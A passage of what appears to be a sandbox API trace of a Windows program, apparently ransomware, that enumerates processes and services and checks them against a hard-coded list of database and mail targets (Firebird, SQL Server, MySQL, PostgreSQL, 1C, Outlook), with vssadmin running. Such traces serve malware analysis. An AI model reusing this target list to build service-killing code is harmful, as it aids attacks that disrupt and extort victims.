(in: hSnapshot=0x20c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0086.481] lstrlenW (lpString="conhost.exe") returned 11 [0086.481] Process32NextW (in: hSnapshot=0x20c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x408, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xc0, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0086.751] lstrlenW (lpString="vssadmin.exe") returned 12 [0086.751] Process32NextW (in: hSnapshot=0x20c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0086.752] lstrlenW (lpString="VSSVC.exe") returned 9 [0086.752] Process32NextW (in: hSnapshot=0x20c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 0 [0086.753] CloseHandle (hObject=0x20c) returned 1 [0086.753] Sleep (dwMilliseconds=0x1f4) [0088.555] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x609cf0 [0088.556] EnumServicesStatusExW (in: hSCManager=0x609cf0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x21cff44, lpServicesReturned=0x21cff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x21cff44, lpServicesReturned=0x21cff5c, lpResumeHandle=0x0) returned 0 [0088.556] GetLastError () returned 0xea [0088.556] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x123e) returned 0x39777a0 [0088.557] EnumServicesStatusExW (in: hSCManager=0x609cf0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x39777a0, cbBufSize=0x123e, pcbBytesNeeded=0x21cff44, lpServicesReturned=0x21cff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x39777a0, pcbBytesNeeded=0x21cff44, lpServicesReturned=0x21cff5c, lpResumeHandle=0x0) returned 1 [0088.558] CloseServiceHandle (hSCObject=0x609cf0) returned 1 [0088.558] lstrlenW (lpString="Appinfo") returned 7 [0088.558] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0088.559] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0088.559] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0088.559] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0088.559] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0088.559] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0088.559] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0088.559] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0088.559] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0088.559] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0088.559] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0088.559] lstrlenW (lpString="AudioSrv") returned 8 [0088.559] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0088.559] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0088.559] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0088.559] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0088.559] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0088.560] lstrlenW (lpString="BFE") returned 3 [0088.560] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0088.560] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0088.560] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0088.560] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0088.560] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0088.560] lstrlenW (lpString="CryptSvc") returned 8 [0088.560] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0088.560] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0088.560] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0088.560] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0088.560] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0088.560] lstrlenW (lpString="CscService") returned 10 [0088.560] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0088.560] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0088.560] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0088.560] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0088.560] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0088.561] lstrlenW (lpString="DcomLaunch") returned 10 [0088.561] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0088.561] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0088.561] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0088.561] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0088.561] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0088.561] lstrlenW (lpString="Dhcp") returned 4 [0088.561] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0088.561] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0088.561] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0088.561] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0088.561] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0088.561] lstrlenW (lpString="Dnscache") returned 8 [0088.561] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0088.561] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0088.561] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0088.561] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0088.561] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0088.562] lstrlenW (lpString="DPS") returned 3 [0088.562] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0088.562] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0088.562] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0088.562] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0088.562] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0088.562] lstrlenW (lpString="eventlog") returned 8 [0088.562] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0088.562] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0088.562] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0088.562] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0088.562] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0088.562] lstrlenW (lpString="EventSystem") returned 11 [0088.562] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0088.563] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0088.563] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0088.563] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0088.563] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0088.563] lstrlenW (lpString="gpsvc") returned 5 [0088.563] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0088.563] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0088.563] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0088.563] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0088.563] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0088.563] lstrlenW (lpString="iphlpsvc") returned 8 [0088.563] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0088.563] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0088.563] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0088.563] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0088.563] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0088.563] lstrlenW (lpString="LanmanServer") returned 12 [0088.563] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0088.563] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0088.564] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0088.564] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0088.564] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0088.564] lstrlenW (lpString="LanmanWorkstation") returned 17 [0088.564] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0088.564] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0088.564] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0088.564] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0088.564] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0088.564] lstrlenW (lpString="lmhosts") returned 7 [0088.564] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0088.564] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0088.564] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0088.564] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0088.564] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0088.564] lstrlenW (lpString="MMCSS") returned 5 [0088.564] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0088.564] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0088.564] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0088.564] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0088.564] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0088.564] lstrlenW (lpString="MpsSvc") returned 6 [0088.564] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0088.564] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0088.565] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0088.565] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0088.565] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0088.565] lstrlenW (lpString="Netman") returned 6 [0088.565] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0088.565] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0088.565] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0088.565] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0088.565] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0088.565] lstrlenW (lpString="netprofm") returned 8 [0088.565] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0088.565] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0088.565] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0088.565] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0088.565] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0088.565] lstrlenW (lpString="NlaSvc") returned 6 [0088.565] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0088.565] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0088.566] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0088.566] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0088.566] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0088.566] lstrlenW (lpString="nsi") returned 3 [0088.566] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0088.566] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0088.566] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0088.566] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0088.566] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0088.566] lstrlenW (lpString="PcaSvc") returned 6 [0088.566] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0088.566] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0088.566] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0088.566] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0088.566] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0088.566] lstrlenW (lpString="PlugPlay") returned 8 [0088.566] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0088.567] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0088.567] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0088.567] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0088.567] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0088.567] lstrlenW (lpString="Power") returned 5 [0088.567] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0088.567] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0088.567] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0088.567] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0088.567] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0088.567] lstrlenW (lpString="ProfSvc") returned 7 [0088.567] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0088.567] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0088.567] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0088.567] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0088.568] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0088.568] lstrlenW (lpString="RpcEptMapper") returned 12 [0088.568] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0088.568] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0088.568] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0088.568] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0088.568] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0088.568] lstrlenW (lpString="RpcSs") returned 5 [0088.568] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0088.568] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0088.569] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0088.569] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0088.569] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0088.569] lstrlenW (lpString="SamSs") returned 5 [0088.569] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0088.569] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0088.569] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0088.569] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0088.569] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0088.569] lstrlenW (lpString="Schedule") returned 8 [0088.569] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0088.569] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0088.569] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0088.569] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0088.570] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0088.570] lstrlenW (lpString="SENS") returned 4 [0088.570] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0088.570] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0088.570] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0088.570] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0088.570] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0088.570] lstrlenW (lpString="ShellHWDetection") returned 16 [0088.570] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0088.570] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0088.570] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0088.570] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0088.570] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0088.570] lstrlenW (lpString="Spooler") returned 7 [0088.570] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0088.570] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0088.570] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0088.571] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0088.571] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0088.571] lstrlenW (lpString="SysMain") returned 7 [0088.571] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0088.571] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0088.571] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0088.571] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0088.571] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0088.571] lstrlenW (lpString="Themes") returned 6 [0088.571] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0088.571] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0088.571] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0088.571] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0088.571] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0088.572] lstrlenW (lpString="TrkWks") returned 6 [0088.572] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0088.572] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0088.572] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0088.572] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0088.572] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0088.572] lstrlenW (lpString="UxSms") returned 5 [0088.572] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0088.572] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0088.572] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0088.572] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0088.572] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0088.572] lstrlenW (lpString="VSS") returned 3 [0088.572] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0088.572] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0088.572] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0088.573] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0088.573] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0088.573] lstrlenW (lpString="WdiServiceHost") returned 14 [0088.573] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0088.573] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0088.573] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0088.573] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0088.573] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0088.573] lstrlenW (lpString="WdiSystemHost") returned 13 [0088.573] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0088.573] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0088.573] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0088.573] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0088.573] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0088.573] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0088.573] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0088.574] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0088.574] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0088.574] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0088.574] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0088.574] lstrlenW (lpString="Winmgmt") returned 7 [0088.574] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0088.574] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0088.574] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0088.574] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0088.574] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0088.574] lstrlenW (lpString="WPDBusEnum") returned 10 [0088.574] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0088.574] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0088.574] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0088.574] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0088.575] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0088.575] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x39777a0 | out: hHeap=0x5b0000) returned 1 [0088.575] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b8 [0088.581] Process32FirstW (in: hSnapshot=0x1b8, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0088.582] Process32NextW (in: hSnapshot=0x1b8, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0088.582] lstrlenW (lpString="System") returned 6 [0088.582] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0088.582] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0088.583] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0088.583] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0088.583] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0088.583] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0088.583] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0088.583] Process32NextW (in: hSnapshot=0x1b8, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0088.584] lstrlenW (lpString="smss.exe") returned 8 [0088.584] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0088.584] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0088.584] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0088.584] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0088.584] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0088.584] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0088.584] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0088.584] Process32NextW (in: hSnapshot=0x1b8, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0088.585] lstrlenW (lpString="csrss.exe") returned 9 [0088.585] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0088.585] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0088.585] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0088.585] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0088.585] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0088.585] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0088.585] lstrcmpiW (lpString1="sqlservr.exe", 